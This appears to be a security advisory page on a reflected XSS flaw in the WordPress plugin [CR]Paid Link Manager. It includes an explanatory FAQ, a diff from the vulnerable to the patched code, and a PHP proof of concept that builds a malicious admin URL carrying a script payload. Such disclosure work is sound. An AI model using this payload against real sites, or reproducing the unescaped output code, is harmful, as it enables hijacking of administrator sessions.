What is CVE-2026-1780?

CVE-2026-1780 is a reflected Cross-Site Scripting (XSS) vulnerability found in the [CR]Paid Link Manager plugin for WordPress, affecting versions up to and including 0.5. It allows unauthenticated attackers to inject arbitrary JavaScript into web pages, which executes when an administrator interacts with a crafted link.

How does the vulnerability work?

The vulnerability arises from insufficient input sanitization and output escaping of server variables like REQUEST_URI and PHP_SELF. Attackers can construct malicious URLs that, when clicked by an administrator, execute JavaScript in their session context, potentially leading to session hijacking or site defacement.

Who is affected by this vulnerability?

Any WordPress site using the [CR]Paid Link Manager plugin version 0.5 or earlier is at risk. Administrators who manage these sites should verify their plugin version to determine if they are affected.

How can I check if my site is vulnerable?

To check if your site is vulnerable, verify the version of the [CR]Paid Link Manager plugin installed. If it is version 0.5 or earlier, your site is vulnerable to CVE-2026-1780.

How can I fix this vulnerability?

The vulnerability is fixed in version 0.6 of the [CR]Paid Link Manager plugin. Administrators should update the plugin to the latest version to mitigate the risk associated with this vulnerability.

What does the CVSS score of 6.1 indicate?

A CVSS score of 6.1 indicates a medium severity level for this vulnerability. This means it poses a moderate risk, particularly in environments where administrators may be tricked into clicking malicious links.

What practical risks does this vulnerability pose?

If exploited, CVE-2026-1780 could allow attackers to execute arbitrary JavaScript in the context of an administrator’s session. This could lead to session hijacking, unauthorized administrative actions, or even site defacement.

What is a proof of concept for this vulnerability?

The proof of concept demonstrates how an attacker can craft a malicious URL that exploits the vulnerability. It shows that by tricking an authenticated administrator into clicking a link, the attacker can execute JavaScript code, confirming the risk associated with the vulnerability.

What are the vulnerable functions in the plugin?

The vulnerability is present in several functions, including cr_paid_link_manager_admin_menu() and cr_paid_link_manager_group_list_html(). These functions fail to properly escape output, allowing for XSS attacks.

What changes were made in the patched version?

In version 0.6, the plugin was updated to include proper output escaping using functions like esc_url(), esc_html(), and esc_attr(). Additionally, nonce verification was added to enhance security against CSRF attacks.

How can I report vulnerabilities in plugins?

If you discover a vulnerability in a plugin, you should report it to the plugin author or maintainers directly. Providing detailed information about the vulnerability and steps to reproduce it can help them address the issue effectively.

What should I do if I cannot update the plugin immediately?

If an immediate update is not possible, consider disabling the plugin until you can apply the patch. Additionally, educate users and administrators about the risks of clicking untrusted links to minimize potential exploitation.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2026-1780: [CR]Paid Link Manager <= 0.5 – Reflected Cross-Site Scripting (crpaid-link-manager)

CVE ID CVE-2026-1780

Plugin crpaid-link-manager

Severity Medium (CVSS 6.1)

CWE 79

Vulnerable Version 0.5

Patched Version 0.6

Disclosed March 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1780:
The vulnerability is a reflected Cross-Site Scripting (XSS) issue in the [CR]Paid Link Manager WordPress plugin. The root cause is insufficient output escaping of the REQUEST_URI and PHP_SELF server variables in multiple admin interface functions. The plugin directly echoes these variables without proper sanitization in HTML contexts, allowing JavaScript injection.

Atomic Edge research identifies three vulnerable functions: cr_paid_link_manager_admin_menu() (lines 90-95), cr_paid_link_manager_group_list_html() (lines 225-230), and the widget constructor. The primary attack vector targets the plugin’s admin pages at /wp-admin/admin.php?page=cr_paid_link_manager_admin_menu and /wp-admin/admin.php?page=cr_paid_link_manager_group_list_html. Attackers can craft malicious URLs containing JavaScript payloads in the path or query string, which then reflect directly into anchor href attributes and form action attributes.

For example, the vulnerable code at line 94 constructs links using: “group_id . “‘>Edit“. An attacker can append a payload like “>alert(document.domain) to the URL path, which becomes part of the REQUEST_URI and executes when an administrator clicks the manipulated link.

The patch in version 0.6 addresses this by adding proper output escaping. Key changes include wrapping $_SERVER[“REQUEST_URI”] and $_SERVER[“PHP_SELF”] with esc_url() functions (lines 94, 95, 117, 131, 155, 240, 257), applying esc_html() to database fields (lines 92-93, 226-227), using esc_attr() for form values (lines 136, 283-284), and implementing esc_textarea() for textareas (lines 138, 287). The patch also adds nonce verification and SQL injection protection via prepared statements.

If exploited, this vulnerability allows unauthenticated attackers to inject arbitrary JavaScript that executes in the context of an authenticated administrator’s session. Successful exploitation could lead to session hijacking, administrative account takeover, or site defacement through malicious administrative actions.

Differential between vulnerable and patched code

Code Diff

--- a/crpaid-link-manager/cr-paidlinkmanager.php
+++ b/crpaid-link-manager/cr-paidlinkmanager.php
@@ -3,7 +3,7 @@
 Plugin Name: [CR]Paid Link Manager
 Plugin URI: http://bayu.freelancer.web.id/crpaid-link-manager-plugin-to-manage-your-paid-links-life-cycle/
 Description: This plugin will help you manager which area you have for each link group and how long each plugin will live
-Version: 0.5
+Version: 0.6
 Author: Arief Bayu Purwanto
 Author URI: http://bayu.freelancer.web.id/
 */
@@ -58,7 +58,7 @@
 function cr_paid_link_manager_admin_menu()
 {
 	global $wpdb;
-
+
 	$act = isset( $_GET['act'] ) ? $_GET['act'] : '';

 	$table_link_groups = $wpdb->prefix . "cr_plmanager_link_groups";
@@ -67,21 +67,25 @@

 	if('edit' == $act && isset( $_POST['submit']) )
 	{
-		$wpdb->update($table_link_groups, array('group_name'=>$_POST['group_name'], 'group_description'=>$_POST['group_description']), array('group_id'=>$_POST['group_id'] ));
+		check_admin_referer('cr_paid_link_manager_admin_menu_nonce');
+		$wpdb->update($table_link_groups, array('group_name'=>$_POST['group_name'], 'group_description'=>$_POST['group_description']), array('group_id'=>intval($_POST['group_id']) ));
 	}
 	else if(in_array($act, array('', 'add')) && isset( $_POST['submit']) )
 	{
+		check_admin_referer('cr_paid_link_manager_admin_menu_nonce');
 		$wpdb->insert($table_link_groups, array('group_name'=>$_POST['group_name'], 'group_description'=>$_POST['group_description']));
 	}
 	else if('delete' == $act && isset( $_POST['submit']) )
 	{
-		$wpdb->query("DELETE FROM $table_link_groups WHERE group_id = '" . $_POST['group_id'] . "'");
-		$wpdb->query("DELETE FROM $table_link_list WHERE group_id = '" . $_POST['group_id'] . "'");
+		check_admin_referer('cr_paid_link_manager_admin_menu_nonce');
+		$group_id = intval($_POST['group_id']);
+		$wpdb->query($wpdb->prepare("DELETE FROM $table_link_groups WHERE group_id = %d", $group_id));
+		$wpdb->query($wpdb->prepare("DELETE FROM $table_link_list WHERE group_id = %d", $group_id));
 	}


 	$table_body = '';
-
+
 	$link_groups = $wpdb->get_results("SELECT * FROM $table_link_groups");

 	$cnt = 0;
@@ -90,11 +94,11 @@
 		$cnt++;
 		$alternate = ($cnt %2 == 0 ? 'class="alternate"' : '');
 		$table_body .= "<tr $alternate>
-	<td>" . $group->group_id . "</td>
-	<td>" . $group->group_name . "</td>
-	<td>" . $group->group_description . "</td>
-	<td>[<a href='".$_SERVER["REQUEST_URI"]."&act=edit&group_id=" . $group->group_id . "'>Edit</a>] -
-		[<a href='".$_SERVER["REQUEST_URI"]."&act=delete&group_id=" . $group->group_id . "'>Delete</a>]</td>
+	<td>" . intval($group->group_id) . "</td>
+	<td>" . esc_html($group->group_name) . "</td>
+	<td>" . esc_html($group->group_description) . "</td>
+	<td>[<a href='".esc_url($_SERVER["REQUEST_URI"])."&act=edit&group_id=" . intval($group->group_id) . "'>Edit</a>] -
+		[<a href='".esc_url($_SERVER["REQUEST_URI"])."&act=delete&group_id=" . intval($group->group_id) . "'>Delete</a>]</td>
 	</tr>";
 	}

@@ -117,26 +121,27 @@
 	<?php echo $table_body; ?>
 </tbody>
 </table>
-<a href="<?php echo $_SERVER["PHP_SELF"]."?page=cr_paid_link_manager_admin_menu"; ?>">Add new link group</a>
+<a href="<?php echo esc_url($_SERVER["PHP_SELF"])."?page=cr_paid_link_manager_admin_menu"; ?>">Add new link group</a>
 <?php

 if( in_array($act, array('new', 'edit')) && !isset($_POST['submit']) )
 {
 	$group_id = isset( $_GET['group_id'] ) ? trim( $_GET['group_id'] ) : 0;
 	$sql = "SELECT * FROM $table_link_groups WHERE group_id = '".$wpdb->escape($group_id)."'";
-
+
 	$group = $wpdb->get_row( $sql );
 ?>
-<form method="post" action="<?php echo $_SERVER["REQUEST_URI"]; ?>">
+<form method="post" action="<?php echo esc_url($_SERVER["REQUEST_URI"]); ?>">
+<?php wp_nonce_field('cr_paid_link_manager_admin_menu_nonce'); ?>
 <br />
 <h3><?php echo ('edit' !== $act ? 'Add' : 'Edit')?> Link Group</h3>
 <h4>Group Name</h4>
-<input type="text" name="group_name" value="<?php echo $group->group_name; ?>" style="width: 80%">
+<input type="text" name="group_name" value="<?php echo esc_attr($group->group_name); ?>" style="width: 80%">
 <h4>Group Description</h4>
-<textarea name="group_description" style="width: 80%; height: 100px;"><?php echo $group->group_description; ?></textarea>
+<textarea name="group_description" style="width: 80%; height: 100px;"><?php echo esc_textarea($group->group_description); ?></textarea>

 <div class="submit">
-<input type="hidden" name="group_id" value="<?php echo $group->group_id; ?>" /></div>
+<input type="hidden" name="group_id" value="<?php echo intval($group->group_id); ?>" /></div>
 <input type="submit" name="submit" value="Submit" /></div>
 </form>
 <?php
@@ -144,16 +149,17 @@
 else if('delete' == $act && !isset($_POST['submit']) )
 {
 	$group_id = isset( $_GET['group_id'] ) ? trim( $_GET['group_id'] ) : 0;
-	$sql = "SELECT * FROM $table_link_groups WHERE group_id = '".$wpdb->escape($group_id)."'";
-
+	$sql = $wpdb->prepare("SELECT * FROM $table_link_groups WHERE group_id = %d", intval($group_id));
+
 	$group = $wpdb->get_row( $sql );
 ?>
-<form method="post" action="<?php echo $_SERVER["REQUEST_URI"]; ?>">
+<form method="post" action="<?php echo esc_url($_SERVER["REQUEST_URI"]); ?>">
+<?php wp_nonce_field('cr_paid_link_manager_admin_menu_nonce'); ?>
 <br />
 <h3>Delete Link Group</h3>
 <div class="submit">
 <strong>WARNING: Deleting link group will also delete it's individual link attached to it!</strong>
-<input type="hidden" name="group_id" value="<?php echo $group->group_id; ?>" /></div>
+<input type="hidden" name="group_id" value="<?php echo intval($group->group_id); ?>" /></div>
 <input type="submit" name="submit" value="DELETE" /></div>
 </form>
 <?php
@@ -168,7 +174,7 @@
 function cr_paid_link_manager_group_list_html()
 {
 	global $wpdb;
-
+
 	$act = isset( $_GET['act'] ) ? $_GET['act'] : '';
 	$group_id = isset( $_GET['group_id'] ) ? $_GET['group_id'] : '0';

@@ -177,16 +183,18 @@

 	if('edit' == $act && isset( $_POST['submit']) )
 	{
+		check_admin_referer('cr_paid_link_manager_group_list_html_nonce');
 		$wpdb->update($table_link_list, array('link_text'=>$_POST['link_text'],
 				'link_url'=>$_POST['link_url'],
 				'link_date1'=>$_POST['link_date1'],
 				'link_date2'=>$_POST['link_date2'],
 				'link_note'=>$_POST['link_note']),
-			array('link_id'=>$_POST['link_id'] ));
+			array('link_id'=>intval($_POST['link_id']) ));
 	}
 	else if(in_array($act, array('new', 'add')) && isset( $_POST['submit']) )
 	{
-		$wpdb->insert($table_link_list, array('link_group_id'=>$group_id,
+		check_admin_referer('cr_paid_link_manager_group_list_html_nonce');
+		$wpdb->insert($table_link_list, array('link_group_id'=>intval($group_id),
 				'link_text'=>$_POST['link_text'],
 				'link_url'=>$_POST['link_url'],
 				'link_date1'=>$_POST['link_date1'],
@@ -195,7 +203,8 @@
 	}
 	else if('delete' == $act && isset( $_POST['submit']) )
 	{
-		$wpdb->query("DELETE FROM $table_link_list WHERE link_id = '" . $_POST['link_id'] . "'");
+		check_admin_referer('cr_paid_link_manager_group_list_html_nonce');
+		$wpdb->query($wpdb->prepare("DELETE FROM $table_link_list WHERE link_id = %d", intval($_POST['link_id'])));
 	}

 $groups = $wpdb->get_results("SELECT * FROM $table_link_groups");
@@ -205,10 +214,10 @@
 	$selected = $group_id == $group->group_id ? 'selected="selected"' : '';
 	if('0' == $group_id)
 		$group_id = $group->group_id;
-	$txt_groups .= "<option value='$group->group_id' $selected>$group->group_name</option>";
+	$txt_groups .= "<option value='" . intval($group->group_id) . "' $selected>" . esc_html($group->group_name) . "</option>";
 }

-	$links = $wpdb->get_results("SELECT * FROM $table_link_list WHERE link_group_id = '$group_id'");
+	$links = $wpdb->get_results($wpdb->prepare("SELECT * FROM $table_link_list WHERE link_group_id = %d", intval($group_id)));

 	$cnt = 0;
 	foreach( $links as $link)
@@ -216,12 +225,12 @@
 		$cnt++;
 		$alternate = ($cnt %2 == 0 ? 'class="alternate"' : '');
 		$table_body .= "<tr $alternate>
-	<td>" . $link->link_id . "</td>
-	<td>" . $link->link_text . "</td>
-	<td>" . $link->link_url . "</td>
-	<td>" . $link->link_date1 . " to " . ('0000-00-00' == $link->link_date2 ? 'infinity' : $link->link_date2) . "</td>
-	<td>[<a href='".$_SERVER["REQUEST_URI"]."&act=edit&link_id=" . $link->link_id . "'>Edit</a>] -
-		[<a href='".$_SERVER["REQUEST_URI"]."&act=delete&link_id=" . $link->link_id . "'>Delete</a>]</td>
+	<td>" . intval($link->link_id) . "</td>
+	<td>" . esc_html($link->link_text) . "</td>
+	<td>" . esc_url($link->link_url) . "</td>
+	<td>" . esc_html($link->link_date1) . " to " . ('0000-00-00' == $link->link_date2 ? 'infinity' : esc_html($link->link_date2)) . "</td>
+	<td>[<a href='".esc_url($_SERVER["REQUEST_URI"])."&act=edit&link_id=" . intval($link->link_id) . "'>Edit</a>] -
+		[<a href='".esc_url($_SERVER["REQUEST_URI"])."&act=delete&link_id=" . intval($link->link_id) . "'>Delete</a>]</td>
 	</tr>";
 	}

@@ -231,7 +240,7 @@

 <p>This is your links for a particular link group.</p>

-<p>Select Link Group <select id="cr_plmanager_group_id" onchange="javascript:top.location.replace('<?php echo $_SERVER['PHP_SELF'] . '?page=cr_paid_link_manager_group_list_html&group_id='; ?>' + document.getElementById('cr_plmanager_group_id').value)">
+<p>Select Link Group <select id="cr_plmanager_group_id" onchange="javascript:top.location.replace('<?php echo esc_url($_SERVER['PHP_SELF']) . '?page=cr_paid_link_manager_group_list_html&group_id='; ?>' + document.getElementById('cr_plmanager_group_id').value)">
 <?php echo $txt_groups; ?>
 </select></p>
 <table class="widefat fixed">
@@ -248,7 +257,7 @@
 	<?php echo $table_body; ?>
 </tbody>
 </table>
-<a href="<?php echo $_SERVER["PHP_SELF"]."?page=cr_paid_link_manager_group_list_html&group_id=" . $group_id; ?>&act=new">Add new link</a>
+<a href="<?php echo esc_url($_SERVER["PHP_SELF"])."?page=cr_paid_link_manager_group_list_html&group_id=" . $group_id; ?>&act=new">Add new link</a>



@@ -257,31 +266,32 @@
 if( in_array($act, array('new', 'edit')) && !isset($_POST['submit']) )
 {
 	$link_id = isset( $_GET['link_id'] ) ? trim( $_GET['link_id'] ) : 0;
-	$sql = "SELECT * FROM $table_link_list WHERE link_id = '".$wpdb->escape($link_id)."'";
+	$sql = $wpdb->prepare("SELECT * FROM $table_link_list WHERE link_id = %d", intval($link_id));

 	$link = $wpdb->get_row( $sql );
-
-
+
+
 ?>
-<form method="post" action="<?php echo $_SERVER["REQUEST_URI"]; ?>">
+<form method="post" action="<?php echo esc_url($_SERVER["REQUEST_URI"]); ?>">
+<?php wp_nonce_field('cr_paid_link_manager_group_list_html_nonce'); ?>
 <br />
 <h3><?php echo ('edit' !== $act ? 'Add' : 'Edit')?> Link Info</h3>
 <h4>Link Title</h4>
-<input type="text" name="link_text" value="<?php echo $link->link_text; ?>" style="width: 80%">
+<input type="text" name="link_text" value="<?php echo esc_attr($link->link_text); ?>" style="width: 80%">
 <h4>Link URL</h4>
 <p>Don't forget to add <strong>http://</strong> before your URL.</p>
-<input type="text" name="link_url" value="<?php echo $link->link_url; ?>" style="width: 80%">
+<input type="text" name="link_url" value="<?php echo esc_url($link->link_url); ?>" style="width: 80%">
 <h4>Link Display Period</h4>
 <p>Acceptable format is <strong>YYYY-MM-DD</strong>. So, if you want to put <strong>12 November 2010</strong>, it would be <strong>2010-11-12</strong>. To make this link live forever, put '0000-00-00' on date2.<br />
 Eg: You want to set certain link never expired, set it like this: <strong>'<?php echo date('Y-m-d'); ?>'</strong> to <strong>'0000-00-00'</strong></p>
-<input type="text" name="link_date1" value="<?php echo ( !$link->link_date1 ? date('Y-m-d') : $link->link_date1 ); ?>" size="12"> to
-<input type="text" name="link_date2" value="<?php echo ( !$link->link_date2 ? '0000-00-00' : $link->link_date2 ); ?>" size="12">
+<input type="text" name="link_date1" value="<?php echo esc_attr( !$link->link_date1 ? date('Y-m-d') : $link->link_date1 ); ?>" size="12"> to
+<input type="text" name="link_date2" value="<?php echo esc_attr( !$link->link_date2 ? '0000-00-00' : $link->link_date2 ); ?>" size="12">
 <h4>Link Notes</h4>
 <p>Add whatever info you want here. Be it transaction ID, client email, or anything else that need to be tracked for this particular URL.</p>
-<textarea name="link_note" style="width: 80%; height: 100px;"><?php echo $link->link_note; ?></textarea>
+<textarea name="link_note" style="width: 80%; height: 100px;"><?php echo esc_textarea($link->link_note); ?></textarea>

 <div class="submit">
-<input type="hidden" name="link_id" value="<?php echo $link->link_id; ?>" /></div>
+<input type="hidden" name="link_id" value="<?php echo intval($link->link_id); ?>" /></div>
 <input type="submit" name="submit" value="Submit" /></div>
 </form>
 <?php
@@ -289,16 +299,16 @@
 else if('delete' == $act && !isset($_POST['submit']) )
 {
 	$link_id = isset( $_GET['link_id'] ) ? trim( $_GET['link_id'] ) : 0;
-	$sql = "SELECT * FROM $table_link_list WHERE link_id = '".$wpdb->escape($link_id)."'";
-
+	$sql = $wpdb->prepare("SELECT * FROM $table_link_list WHERE link_id = %d", intval($link_id));
+
 	$group = $wpdb->get_row( $sql );
 ?>
-<form method="post" action="<?php echo $_SERVER["REQUEST_URI"]; ?>">
+<form method="post" action="<?php echo esc_url($_SERVER["REQUEST_URI"]); ?>">
 <br />
 <h3>Delete Link</h3>
 <div class="submit">
 <strong>WARNING: Make sure this LINK is already expired. Or else, your client will be mad or even sue you!</strong>
-<input type="hidden" name="link_id" value="<?php echo $group->link_id; ?>" /></div>
+<input type="hidden" name="link_id" value="<?php echo intval($group->link_id); ?>" /></div>
 <input type="submit" name="submit" value="DELETE" /></div>
 </form>
 <?php
@@ -315,18 +325,18 @@
 function cr_paid_link_manager_script_install()
 {
 	global $wpdb;
-
+
 	if( false === wp_get_schedule( 'cr_paid_link_manager_generate_expiring_link_email_action' ) )
 	{
 		wp_schedule_event(time(), 'daily', 'cr_paid_link_manager_generate_expiring_link_email_action');
 	}
-
+
 	$table_link_groups = $wpdb->prefix . "cr_plmanager_link_groups";
 	$table_link_list   = $wpdb->prefix . "cr_plmanager_link_list";
-
+
 	$default_group_name = 'frontpage';
 	$default_group_description = 'Only hold links for frontpage only';
-
+
 	if( $wpdb->get_var("SHOW TABLES LIKE '$table_link_groups'") != $table_link_groups )
 	{
 		$sql_create_link_groups = "CREATE TABLE $table_link_groups (
@@ -337,13 +347,13 @@
 );";
 		require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
 		dbDelta( $sql_create_link_groups );
-
+
 		$rows_affected = $wpdb->insert( $table_link_groups,
 			array( 'group_name' => $default_group_name,
 						 'group_description' => $default_group_description));
 		add_option('cr_paid_link_manager_database_version', CR_PAID_LINK_MANAGER_DATABASE_VERSION);
 	}
-
+
 	if( $wpdb->get_var("SHOW TABLES LIKE '$table_link_list'") != $table_link_list )
 	{
 		$sql_create_link_list = "CREATE TABLE $table_link_list (
@@ -366,7 +376,7 @@
 {
 	//do installation process
 	$installed_db_version = get_option('cr_paid_link_manager_database_version');
-
+
 	if( $installed_db_version != CR_PAID_LINK_MANAGER_DATABASE_VERSION )
 	{
 		//this update version, I only introduce new cron schedule
@@ -389,7 +399,7 @@
 function cr_paid_link_manager_generate_expiring_link_email()
 {
 	global $wpdb;
-
+
 	$expiring_threshold = get_option( 'cr_paid_link_manager_link_expiring_threshold', '7' );
 	$expiring_email_to  = get_option( 'cr_paid_link_manager_expiring_email_to', get_option('admin_email') );
 	list($y, $m, $d) = explode('-', date('Y-m-d'));
@@ -401,10 +411,10 @@
 JOIN $table_link_list l ON l.link_group_id = p.group_id
 WHERE link_date2 <> '0000-00-00'
 AND link_date2 < '$date_threshold'";
-
+
 	$links = $wpdb->get_results( $sql );
 	$link_mail = '';
-
+
 	if( 0 == count( $links ) )
 	{
 		return false;//no expiring link(s)
@@ -417,16 +427,16 @@
 		$link_mail .= "URL: " . $link->link_url . "rn";
 		$link_mail .= "Expire Date: " . $link->link_date2 . "rn";
 		$link_mail .= "Note: " . $link->link_note . "rn";
-
+
 	}
-
+
 	$email_subj = "Expiring Link - " . get_option('blogname');
 	$email_text = "Below are link(s) that soon to be expired:rn";
 	$email_text .= $link_mail;
 	$email_text .= "rnrnrnEmail generated by [CR]PaidLinkManagerrn";
 	$email_text .= "Like this plugin? Please consider donation: http://bayu.freelancer.web.id/about/";

-
+
 	wp_mail($expiring_email_to, $email_subj, $email_text);
 }

@@ -445,6 +455,22 @@
 // ========================== PUBLIC  API ==========================

 /**
+ * Shortcode to display links: [paid_links group_id="1" mode="list"]
+ */
+add_shortcode('paid_links', 'cr_paid_link_manager_shortcode');
+function cr_paid_link_manager_shortcode($atts) {
+	$a = shortcode_atts(array(
+		'group_id' => 0,
+		'mode' => 'list',
+		'separator' => ', '
+	), $atts);
+
+	ob_start();
+	cr_paid_link_manager_show_links(intval($a['group_id']), $a['mode'], $a['separator']);
+	return ob_get_clean();
+}
+
+/**
  * This function will display (echo) links from certain group
  * @param integer $group_id links will be extracted from this group id
  * @param integer $mode accepted value is 'list' and 'coma'
@@ -454,19 +480,19 @@
 function cr_paid_link_manager_show_links($group_id = 0, $mode = 'list', $separator = ', ')
 {
 	global $wpdb;
-
+
 	$table_link_list = $wpdb->prefix . "cr_plmanager_link_list";
-	$sql = "SELECT * FROM $table_link_list WHERE link_group_id = '$group_id' AND ( ( DATE( NOW() ) BETWEEN link_date1 AND link_date2 ) OR ( link_date2 = '0000-00-00' ) )";
+	$sql = $wpdb->prepare("SELECT * FROM $table_link_list WHERE link_group_id = %d AND ( ( DATE( NOW() ) BETWEEN link_date1 AND link_date2 ) OR ( link_date2 = '0000-00-00' ) )", intval($group_id));
 	//echo $sql;
 	$links = $wpdb->get_results( $sql );
-
+
 	if( 'list' == $mode )
 	{
 		echo "<ul>";
 		foreach($links as $link)
 		{
-			echo "<li><a href='".$link->link_url."'>".$link->link_text."</a></li>";
-
+			echo "<li><a href='".esc_url($link->link_url)."'>".esc_html($link->link_text)."</a></li>";
+
 		}
 		echo "</ul>";
 	}
@@ -475,9 +501,9 @@
 		$arr_link = array();
 		foreach($links as $link)
 		{
-			$arr_link[] = "<a href='".$link->link_url."'>".$link->link_text."</a>";
+			$arr_link[] = "<a href='".esc_url($link->link_url)."'>".esc_html($link->link_text)."</a>";
 		}
-
+
 		echo implode( $separator, $arr_link);
 	}

@@ -493,30 +519,30 @@
 // ========================== WIDGET CODE ==========================
 // ========================== WIDGET CODE ==========================

-add_action('widgets_init', create_function('', 'return register_widget("Cr_PlManager_Widget");'));
+add_action('widgets_init', function(){ register_widget("Cr_PlManager_Widget"); });
 class Cr_PlManager_Widget extends WP_Widget
 {
-	function Cr_PlManager_Widget()
+	function __construct()
 	{
-		parent::WP_Widget(false, $name = '[CR]PL Manager');
+		parent::__construct(false, $name = '[CR]PL Manager');
 	}
-
+
 	function widget_content( $group_id, $mode )
 	{
 		global $wpdb;
-
+
 		$table_link_list = $wpdb->prefix . "cr_plmanager_link_list";
-		$sql = "SELECT * FROM $table_link_list WHERE link_group_id = '$group_id' AND ( ( DATE( NOW() ) BETWEEN link_date1 AND link_date2 ) OR ( link_date2 = '0000-00-00' ) )";
+		$sql = $wpdb->prepare("SELECT * FROM $table_link_list WHERE link_group_id = %d AND ( ( DATE( NOW() ) BETWEEN link_date1 AND link_date2 ) OR ( link_date2 = '0000-00-00' ) )", intval($group_id));
 		//echo $sql;
 		$links = $wpdb->get_results( $sql );
-
+
 		if( 'list' == $mode )
 		{
 			echo "<ul>";
 			foreach($links as $link)
 			{
-				echo "<li><a href='".$link->link_url."'>".$link->link_text."</a></li>";
-
+				echo "<li><a href='".esc_url($link->link_url)."'>".esc_html($link->link_text)."</a></li>";
+
 			}
 			echo "</ul>";
 		}
@@ -525,13 +551,13 @@
 			$arr_link = array();
 			foreach($links as $link)
 			{
-				$arr_link[] = "<a href='".$link->link_url."'>".$link->link_text."</a>";
+				$arr_link[] = "<a href='".esc_url($link->link_url)."'>".esc_html($link->link_text)."</a>";
 			}
-
+
 			echo '<div class="textwidget">' . implode(', ', $arr_link) . '</div>';
 		}
 	}
-
+
 	function widget($args, $instance)
 	{
 		extract( $args );
@@ -539,12 +565,12 @@
 		echo $before_widget;
 		if ( $title )
 			echo $before_title . $title . $after_title;
-
+
 			echo $this->widget_content( $instance['group_id'], $instance['display_mode'] );
-
+
 		echo $after_widget;
 	}
-
+
 	function update($new_instance, $old_instance) {
 		$instance = $old_instance;
 		$instance['title'] = strip_tags($new_instance['title']);
@@ -552,7 +578,7 @@
 		$instance['display_mode'] = strip_tags($new_instance['display_mode']);
 		return $instance;
 	}
-
+
 	function form( $instance )
 	{
 		global $wpdb;
@@ -560,11 +586,11 @@
 		$group_id = esc_attr($instance['group_id']);
 		$display_mode = esc_attr($instance['display_mode']);
 		?>
-				<p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:'); ?>
+				<p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:'); ?>
 				<input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo $title; ?>" /></label></p>
 				<p><label for="<?php echo $this->get_field_id('group_id'); ?>"><?php _e('Group:'); ?>
 					<select id="<?php echo $this->get_field_id('group_id'); ?>" name="<?php echo $this->get_field_name('group_id'); ?>">
-
+
 						<?php
 $table_link_groups = $wpdb->prefix . "cr_plmanager_link_groups";
 $groups = $wpdb->get_results("SELECT * FROM $table_link_groups");
@@ -578,7 +604,7 @@
 						?>
 					</select>
 				</label></p>
-				<p><label for="<?php echo $this->get_field_id('display_mode'); ?>"><?php _e('Display Mode:'); ?>
+				<p><label for="<?php echo $this->get_field_id('display_mode'); ?>"><?php _e('Display Mode:'); ?>
 				<select id="<?php echo $this->get_field_id('display_mode'); ?>" name="<?php echo $this->get_field_name('display_mode'); ?>">
 					<option value="list" <?php echo ('list' == $display_mode) ? 'selected="selected"' : ''; ?>>list</option>
 					<option value="coma" <?php echo ('coma' == $display_mode) ? 'selected="selected"' : ''; ?>>coma separated</option>

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1780 - [CR]Paid Link Manager <= 0.5 - Reflected Cross-Site Scripting
<?php
/**
 * Proof of Concept for CVE-2026-1780
 * Targets the vulnerable admin pages with XSS payload in URL path
 * Requires tricking an authenticated admin to click the crafted link
 */

$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/admin.php';

// Payload to demonstrate XSS - shows alert with current domain
$payload = '"><script>alert(`XSS via CVE-2026-1780: ${document.domain}`)</script>';

// Construct malicious URL for the group list page
$malicious_url = $target_url . '?page=cr_paid_link_manager_group_list_html' . $payload . '&group_id=1';

// Alternative: Target the main admin menu page
$malicious_url2 = $target_url . '?page=cr_paid_link_manager_admin_menu' . $payload;

echo "Atomic Edge CVE-2026-1780 Proof of Conceptn";
echo "============================================nn";
echo "Vulnerable endpoints:n";
echo "1. Group List Page: $malicious_urln";
echo "2. Admin Menu Page: $malicious_url2nn";
echo "Attack vector:n";
echo "- The payload is injected via the URL path (REQUEST_URI server variable)n";
echo "- When an admin visits the page, the payload reflects into anchor href attributesn";
echo "- Clicking any 'Edit' or 'Delete' link executes the JavaScript payloadnn";
echo "To test, paste either URL into an authenticated admin's browser.n";
echo "The XSS executes when the admin clicks any link on the page.n";

// Optional: Use cURL to verify the page loads (won't execute JavaScript)
if (isset($_GET['test'])) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $malicious_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    $response = curl_exec($ch);
    curl_close($ch);
    
    // Check if payload appears in response
    if (strpos($response, '<script>alert') !== false) {
        echo "n[+] Vulnerability confirmed: Payload found in page sourcen";
    } else {
        echo "n[-] Payload not found in responsen";
    }
}
?>

Frequently Asked Questions

What is CVE-2026-1780?
Understanding the vulnerability
CVE-2026-1780 is a reflected Cross-Site Scripting (XSS) vulnerability found in the [CR]Paid Link Manager plugin for WordPress, affecting versions up to and including 0.5. It allows unauthenticated attackers to inject arbitrary JavaScript into web pages, which executes when an administrator interacts with a crafted link.
How does the vulnerability work?
Mechanics of the exploitation
The vulnerability arises from insufficient input sanitization and output escaping of server variables like REQUEST_URI and PHP_SELF. Attackers can construct malicious URLs that, when clicked by an administrator, execute JavaScript in their session context, potentially leading to session hijacking or site defacement.
Who is affected by this vulnerability?
Identifying impacted users
